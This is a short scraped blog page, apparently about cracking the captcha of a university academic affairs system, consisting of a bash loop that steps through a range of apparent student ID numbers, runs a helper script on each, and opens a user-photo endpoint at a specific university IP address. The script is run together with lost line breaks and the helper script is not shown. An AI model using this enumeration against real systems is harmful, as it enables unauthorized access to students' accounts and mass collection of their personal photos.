#!/bin/bash i=20121234 while test $i -lt 20123990 ;doecho $i./haha.sh $i $i && eog "202.118.31.197/ACTIONDSPUSERPHOTO.APPPROCESS"i=$((i+1)) done總結(jié)
以上是生活随笔為你收集整理的东大教务处验证码破解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: UIView CALayer
- 下一篇: 论坐标系的旋转姿势